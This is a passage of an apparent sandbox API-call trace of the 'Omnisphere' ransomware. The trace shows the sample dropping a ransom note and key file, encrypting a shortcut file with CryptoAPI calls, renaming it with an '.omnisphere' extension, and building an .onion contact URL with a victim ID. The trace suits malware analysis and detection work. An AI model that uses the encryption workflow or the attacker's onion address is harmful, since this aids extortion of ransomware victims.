Size=0x589) returned 0x16e0440 [0126.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.814] WriteFile (in: hFile=0x28c, lpBuffer=0x16e0440*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e0440*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.815] CloseHandle (hObject=0x28c) returned 1 [0126.815] GetProcessHeap () returned 0x1600000 [0126.815] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.815] GetProcessHeap () returned 0x1600000 [0126.815] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.815] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.815] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.815] CloseHandle (hObject=0x28c) returned 1 [0126.816] GetProcessHeap () returned 0x1600000 [0126.816] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.816] GetProcessHeap () returned 0x1600000 [0126.816] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c028 | out: hHeap=0x1600000) returned 1 [0126.816] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225edca2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x225edca2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x225edca2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="pGv_qZ.lnk", cAlternateFileName="")) returned 1 [0126.816] GetProcessHeap () returned 0x1600000 [0126.816] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b9e8 [0126.816] PathCombineW (in: pszDest=0x167b9e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="pGv_qZ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk" [0126.816] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pgv_qz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.816] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=932) returned 1 [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.817] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] GetTickCount () returned 0x115fa5a [0126.818] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0126.819] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0126.819] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.819] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.819] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.819] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a4, lpName=0x0) returned 0x288 [0126.819] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a4) returned 0x1480000 [0126.819] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0126.820] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0126.820] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.820] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.821] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.822] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.823] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.823] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0126.823] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.823] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.824] GetProcessHeap () returned 0x1600000 [0126.824] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16ec690 [0126.824] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pgv_qz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pgv_qz.lnk.omnisphere")) returned 1 [0126.825] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk.omnisphere.id" [0126.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pgv_qz.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.826] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.828] CloseHandle (hObject=0x3c0) returned 1 [0126.828] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.828] CloseHandle (hObject=0x288) returned 1 [0126.828] SetEndOfFile (hFile=0x28c) returned 1 [0126.828] FlushFileBuffers (hFile=0x28c) returned 1 [0126.833] CloseHandle (hObject=0x28c) returned 1 [0126.833] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pGv_qZ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.833] GetProcessHeap () returned 0x1600000 [0126.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.833] GetProcessHeap () returned 0x1600000 [0126.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d59b0 [0126.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d59b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.833] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.833] GetProcessHeap () returned 0x1600000 [0126.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7de8 [0126.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7de8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 